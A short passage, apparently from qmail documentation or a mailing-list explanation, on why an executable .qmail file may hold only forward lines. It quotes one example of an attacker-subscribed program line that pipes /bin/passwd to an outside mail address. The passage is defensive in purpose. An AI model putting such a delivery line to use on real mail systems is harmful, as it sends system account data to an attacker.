If .qmail has the execute bit set, it must not contain any
program lines, mbox lines, or maildir lines. If qmail-
local sees any such lines, it will stop and indicate a
temporary failure.
"Executable" .qmail files are supposed to contain nothing but
"forward" lines. This is a security feature for mailing list files: if
an attacker could somehow subscribe the address:
|cat /bin/passwd | Mail [EMAIL PROTECTED]
The execute bit would prevent qmail-local from performing that
delivery.
